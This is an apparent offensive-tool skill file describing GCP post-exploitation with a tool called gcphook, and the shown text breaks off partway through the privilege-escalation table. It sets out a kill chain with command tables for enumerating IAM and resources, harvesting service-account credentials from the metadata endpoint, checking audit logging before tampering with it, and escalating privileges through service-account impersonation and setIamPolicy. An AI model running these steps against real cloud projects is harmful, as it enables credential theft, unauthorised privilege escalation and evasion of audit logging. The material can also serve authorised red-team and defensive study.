gcp-postexploit

name	gcp-postexploit
description	GCP post-exploitation for IAM privilege escalation, data exfiltration, persistence, and operational security via google-cloud SDK
category	post-exploitation
tags	["gcp","cloud","post-exploitation","iam","gcs","cloud-functions","secret-manager","credential-access","defense-evasion","persistence"]
tech_stack	["gcp","gcloud-cli","gsutil"]
cwe_ids	["CWE-269","CWE-522","CWE-693","CWE-284"]
chains_with	["T1078.004","T1530","T1537","T1562.008","T1098","T1552.005"]
prerequisites	["T1078.004","T1552.005"]
version	1.0

GCP Post-Exploitation Methodology

GCP post-exploitation uses gcloud CLI and the GCE metadata endpoint (via native fetch) to perform privilege escalation, data exfiltration, and persistence after compromising service account credentials or gaining Compute Engine instance access. No Python dependency — all operations use native TypeScript with gcloud/gsutil CLI calls.

Prerequisites

Before deploying gcphook tools, verify:

1. Valid GCP credentials — application default credentials, service account key, or metadata endpoint
2. gcloud CLI installed — gcloud version
3. Current identity — gcloud auth list to confirm active account
4. Project — set via --project or default project

# Quick prerequisite check
gcloud auth list                  # verify credentials
gcloud config get-value project   # verify project
gcloud version                    # verify CLI

Kill Chain Phases

Phase 1 — Situational Awareness (First 60 seconds)

Understand the GCP environment and current permissions.

Action	Command	Purpose
Project enumeration	gcphook gcp_enum	Map IAM bindings, service accounts, Compute, GCS, SQL, Functions, GKE
Metadata harvest	gcphook metadata_harvest_gcp	Extract SA credentials from metadata endpoint (metadata.google.internal)
Audit log status	gcphook audit_log_tamper --action status	Check audit logging before noisy operations

Phase 2 — Privilege Escalation

Exploit IAM misconfigurations to gain higher privileges.

Action	Command	Purpose
SA impersonation	gcphook gcp_privesc --method impersonate --target-sa SA_EMAIL	Generate access token via SA impersonation
setIamPolicy	gcphook gcp_privesc --method set_iam_policy